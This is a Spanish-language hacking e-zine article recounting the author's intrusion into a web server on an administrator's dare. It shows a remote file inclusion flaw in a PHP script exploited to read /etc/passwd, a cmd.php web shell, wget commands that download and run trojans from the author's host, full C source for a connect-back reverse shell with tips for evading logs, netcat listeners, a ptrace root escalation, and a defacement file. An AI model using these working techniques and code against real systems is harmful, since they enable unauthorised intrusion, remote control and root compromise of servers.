   ______   ______   ______   ______   ______   ______   ______   ______
  |  ____| |  ____| |  ____| |  ____| |  ____| |  ____| |  ____| |  ____|      
__| |______| |______| |______| |______| |______| |______| |______| |________
----------------------------------------------------------------------------
Codigo     Titulo                                                Autor
SWP05-08   INTRUSION REAL                                        Darkbicho
----------------------------------------------------------------------------


Esta vez voy a explicar un hecho real por razones de seguridad no dare ningun
dato que pueda sacar a la pagina web. 

Un dia en una de mis charlas  por el irc me encuentro con un administrador de
una muy  conocida web. Este me  habla de su  servidor y que era  super seguro
tenia firewall  y estaba parcheado con  todos los parches  salidos hasta esta
epoca lo  felicite y  por ahi dijo  la palabra  te reto a  que entres  y pues
acepte y con  sus condiciones de que  no lo publique en zone-h  aunque con un
termino burlon como quien dice nunca  lo lograras. bueno ok pero no dije nada
de no publicarlo en el ezine hahahaha. 

Al diga siguiente llegando de la universidad entre a Internet y me puse a ver
el servidor me puse hacer las  clasicas movidas de alguien pasarle un scanner
completo  y encontre que  el server corre en linux no voy  a decir la version
por que  lo sacan al toque cual  es la web me  doy con que no  me saca ningun
error y me decia a mi mismo es  seguro pero bueno era un reto que podia a ser
segui investigando  y investigando  comenze analizar sus  scripts y  bueno no
encontraba nada.

Comenze a  aplicar inyeccion  por todos lados  metiendo las  clasicas cadenas
"or", "=",  "'". Nada de  nada me estoy  rindiendo en eso agarro  el fabuloso
google que ya ReYDeS ha sacado un  manual sobre eso. Que hize con google puse
la siguiente lineas en buscar  

--------------------- GOOGLE -----------------------------
"index.php" site: ***.com  
----------------------------------------------------------

Que hago  con esto  trato de buscar  index.php dentro  de el "site  ***.com". 
Bueno me salio el clasico index de  la pagina de inicio y paginas entre ellas
una carpeta que era asi: 

/demo/scripts/ 

Que habia  aca varios scripts que  supongo que el admin.  Puso para probarlos
entre estos  encontre el ARTMEDIC HPMAKER  es un scripts  gratuito. Lo puedes
bajar desde: http://www.artmedic-webdesign.de/hp-maker/

Bueno sigamos al ver este scripts y  ver que los demas scripts era un phpbb y
yabbb no encontre fallos  me puse a ver el ARTMEDIC HPMAKER  y aca viene todo
lo lindo por 1 hora me puse analizar este codigo haber si podia encontrar una
falla en este scripts encontre la siguiente linea:


----------------------- CODIGO ---------------------------
<?php 		  
       if(!isset($_GET['p'])) {include("start.htm");}
       else
       {include("$_GET[p]");}
?>
----------------------------------------------------------

Bueno en termino  cristianos que significa significa que  utiliza el "p" para
hacer llamamiento a la pagina star.htm  pero como  vez tiene dos opciones una
de ellas la else hace un "p" pero no dice cual pagina lo que quiere decir que
puedes hacer llamamiento a cualquier web. Abajo en la nota pongo  el advisory
que saque apartir de esto. 

Bueno luego puse lo siguiente en el explorador

http://***.edu.pe/demo/scripts/hpmarket/index.php?p=../../../../../../../../etc/passwd

Y que creen que me salio todo el archivo /etc/passwd

Hasta aca  ya di un gran  paso para poder  penetrar a este servidor  que hize
despues para el paso siguiente utilize esto: 


--------------------- CMD.PHP  ----------------------------
 <?php
     system($cmd);
 ?>
-----------------------------------------------------------

Bueno que es esto un archivo cmd.php que subi a mi hosting gratuito que tengo
por ahi en iespana este cmd.php lo enlace con la web que dije anteriormente:

http://***.com/index.php?p= http://www.iespana.es/darkbicho/cmd.php&cmd=uname%20-a

Que me dio con esto en la ventana del browser:

Linux ****.***.com 2.4.18-27.7.xsmp #1 SMP Fri Mar 14 05:52:30 EST 2003 i686 unknown

Bueno  feliz  tengo la version  del kernel mm  algo antigua no la  mayoria de
administradores parcha sus  servicios pero no parchan su  kernel por ser algo
tedioso. Pero bueno sigamos de ahi procedi a subir un troyano al server:

cmd.php&cmd=cd%20/tmp/;wget www.iespana.es/darkbicho/tutroyano

"en esta linea use el wget para bajar el troyano que es un binario"

cmd.php&cmd=cd%20/tmp;chmod%20777%20tutroyano

"aca le di permisos de ejecucion al troyano"

cmd.php&cmd=cd%20/tmp;./ tutroyano

"aca ejecute el troyano"

Bueno ejecute el nc en mi computadora al puerto que configure en mi troyano

nc ****.com 9500

hmm no entraba se cerraba la conexion bueno me acorde que el administrador me
dijo que su server  tenia un firewall mmm. Bueno voy a  darles un metodo para
subir un troyano aunque este tenga un firewall instalado. 

El codigo es el siguiente:

------------------------ COTAR AQUI  ---------------------------------
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
int main(int argc, char **argv) { 
char *host; 
int port = 80; 
int f; int l; 
int sock; 
struct in_addr ia; 
struct sockaddr_in sin, from; 
struct hostent *he; 
char msg[ ] = "Connect Back Shell\n\n"
                "Issue \"export TERM=xterm; exec bash -i\"\n"
                "For More Reliable Shell.\n"
                "Issue \"unset HISTFILE; unset SAVEHIST\"\n"
                "For Not Getting Logged.\n(;\n\n";
  printf("Connect Back Backdoor\n\n");
  if (argc <  2 || argc > 3) {
    printf("Usage: %s [Host] <port>\n", argv[0]);
    return 1;
  }
  printf("[*] Dumping Arguments\n");
  l = strlen(argv[1]);
  if (l &lt;= 0) {
    printf("[-] Invalid Host Name\n");
    return 1;
  }
  if (!(host = (char *) malloc(l))) {
    printf("[-] Unable to Allocate Memory\n");
    return 1;
  }
  strncpy(host, argv[1], l);
  if (argc == 3) {
    port = atoi(argv[2]);
    if (port <= 0 || port > 65535) {
      printf("[-] Invalid Port Number\n");
      return 1;
    }
  }
  printf("[*] Resolving Host Name\n");
  he = gethostbyname(host);
  if (he) {
    memcpy(&ia.s_addr, he->h_addr, 4);
  } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {
    printf("[-] Unable to Resolve: %s\n", host)
    return 1;
  }
  sin.sin_family = PF_INET;
  sin.sin_addr.s_addr = ia.s_addr;
  sin.sin_port = htons(port);
  printf("[*] Connecting...\n");
  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    printf("[-] Socket Error\n");
    return 1;
  }
  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
    printf("[-] Unable to Connect\n");
    return 1;
  }
  printf("[*] Spawning Shell\n");
  f = fork( );
  if (f &lt; 0) {
    printf("[-] Unable to Fork\n");
    return 1;
  } else if (!f) {
    write(sock, msg, sizeof(msg));
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execl("/bin/sh", "shell", NULL);
    close(sock);
    return 0;
  }
  printf("[*] Detached\n\n");
  return 0;
}0; } 
------------------------------------------------------------------------

Bueno, bueno sigamos antes de subirlo quize ver algo en el servidor:

cmd.php&cmd=gcc

No  se puede  compilar nada  de nada  maldicion bueno  compile el  troyano de
arriba en mi linux lo subi a mi servidor ftp gratuito y procedi a bajarlo: 

cmd.php&cmd=cd%20/tmp/;wget www.iespana.es/darkbicho/back

"en esta linea use el wget para bajar el troyano que es un binario"

cmd.php&cmd=cd%20/tmp;chmod%20777%20back

"aca le di permisos de ejecucion al troyano"

Bueno antes que nada el troyano su funcionamiento es el siguiente 


---------------- MODO DE USO ---------------------------
Usage: %s [Host] <port>
--------------------------------------------------------

Eso quiere  decir que  tienes que poner  tu ip  y el Puerto  por donde  vas a
recibir la shell para eso tenemos que abrir el puerto en nuestra maquina esto
lo vamos hacer utilizando el netcat:

nc -L -vv -p 3100

cmd.php&cmd=cd%20/tmp;./back%20[mi ip]%203100

"con las lineas  de arriba ejecute el troyano dirigiendolo  al puerto 3100 de
mi pc"  

Ahora  en mi ventana del netcat aparecio la shell :D

Bueno luego de todo lo que paso arriba  y ya tener la shell en mi ventana del
netcat procedi a tratar de obtener root en el servidor ya siendo las 3 de las
ma~ana y con 3 horas frente a  la maquina tratando de romper todo lo que dije
arriba. 

Luego subi el famoso ptrace mi fiel arma en todo el metodo para subirlo es el
mismo del troyano lamentablemente no  tengo permisos para compilar asi que lo
subi en binario bueno sigamos. 

chmod 777 ptrace
./ptrace
id
uid=0(root) gid=0(root)

Mis manos y mi  mente estuvieron ahi al ver el root ya  siendo las 3:10 de la
ma~ana procedi a ir ala carpeta web:

cd /home/web/public_html/
echo JEJEJE DarkBicho>bic.txt
exit

Sali del servidor no limpie logs ni nada por que user proxy y ademas el ip de
la  shell era  un bouncer  bueno aparte  queria que  el admin  vea  como pude
penetrar en su servidor y tomar las medidas de seguridad. 

Al dia siguiente en el mismo canal del irc ya en la noche.

------------------------ IRC ------------------------------
webmaster:
y que paso
DarkBicho:
Chesu la verdad tienes mucha razon no puedo 
webmaster:
lo sabia yo con dos amigos nos encargamos de ese 
servidor ni fregando entrarias es mucho para ti
DarkBicho:
Asi es 
DarkBicho:
pero bueno http://www.****.com/bic.txt
webmaster:
queee!
DarkBicho:
Por siaca deje los logs ahi para que veas como fue
webmaster:
ahorita mismo lo veo como m.. lo hiciste
--------------------------------------------------------------

Bueno con esto  solo quiero decir que  entrar a un servidor no  es tan simple
como esto:

---------------------- CLASICO ---------------------------

gcc -o ex explo.c
./ex
id
uid=0(root) gid=0(root)

--------------------------------------------------------------

Bueno a veces funciona :D se los aseguro pero hay mas y creo que me gusta mas
cuando las cosas se ponen dificiles. 

Nota:
''''
En la falla de arriba puedes encontrar mi Advisory en :

http://bichosoft.webcindario.com/advisory-01.txt
http://secunia.com/advisories/11475/
http://www.securitytracker.com/alerts/2004/Apr/1009930.html
http://www.swp-zone.org

Mi Website:
'''''''''''
http://www.darkbicho.tk

MSN:
'''
darkbicho@msn.com

Solo me queda  despedirme y desear lo mejor para mi  grupo espero que sigamos
asi. 


   ______   ______   ______   ______   ______   ______   ______   ______
  |  ____| |  ____| |  ____| |  ____| |  ____| |  ____| |  ____| |  ____|      
__| |______| |______| |______| |______| |______| |______| |______| |______
--------------------------------------------------------------------------

                      --                             --
			 Security Wari Projects / SWP  |
		      (c) Todos los Derechos Reservados
		     |     PERU / 2002 - 2004           
                      --                              --
